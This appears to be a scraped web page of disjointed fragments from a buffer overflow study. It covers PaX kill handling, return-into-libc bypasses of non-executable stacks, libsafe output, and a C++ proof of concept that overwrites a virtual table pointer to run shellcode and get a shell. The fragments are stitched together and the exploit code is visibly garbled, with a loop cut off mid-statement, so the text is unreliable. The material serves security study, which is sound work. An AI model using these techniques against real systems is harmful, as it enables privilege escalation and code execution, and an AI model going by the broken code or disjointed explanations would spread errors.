A Buffer Overflow Study - Attacks and Defenses by Pierre-Alain, Vincent Glaume

By Pierre-Alain, Vincent Glaume

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Trap_no = 14; force_sig(SIGKILL,tsk); return 0; } case 0: } } Before exiting, error fields concerning the process are filled, as well as PaX-specific information. Then, the process is killed. 3 Escaping non-executable stack protection: return into libC A good way to evade protections such as PaX or Open Wall is the return-into-libc technique. The aim of this technique is not to execute malicious code which is located in the overflowed buffer, but to call a library function when exiting the function containing this buffer.

Press any key to continue... Detected an attempt to write across stack boundary. 0-9/exploits/t1. uid=1000 euid=1000 pid=19982 Call stack: 0x40017504 0x40017624 0x804854c 0x4004065a Overflow caused by strcpy() Killed Of course it implies that it works only when a user sets this environment variable properly. Moreover, this variable is ignored for SUID programs, which means that if it is set for a lambda user but is not set for root, an exploit on a SUID program will still work! preload configuration file, which specifies the libraries loaded before the libc.

When main returns, it provides a shell. h> class A{ private: char str[32]; public: void setBuffer(char * temp){strcpy (str, temp);} virtual void printBuffer(){printf("%s\n", str);} }; 61 // This is very theorical but we only want to test the concept char * buildBuffer (unsigned int bufferAddress, int vptrOffset, int numberAddres s) { char * outputBuffer; unsigned int * internalBuffer; unsigned int offsetShellCode = (unsigned int)vptrOffset - 1; int i=0; outputBuffer = (char *)malloc(vptrOffset + 4 + 1); for (i=0; isetBuffer(buildBuffer((unsigned int) &(*a1), 32, 4)); a1->printBuffer(); return 0; } Our A class is very simple as it contains a (private) buffer, and two (public) methods, to write into this buffer and print its content.

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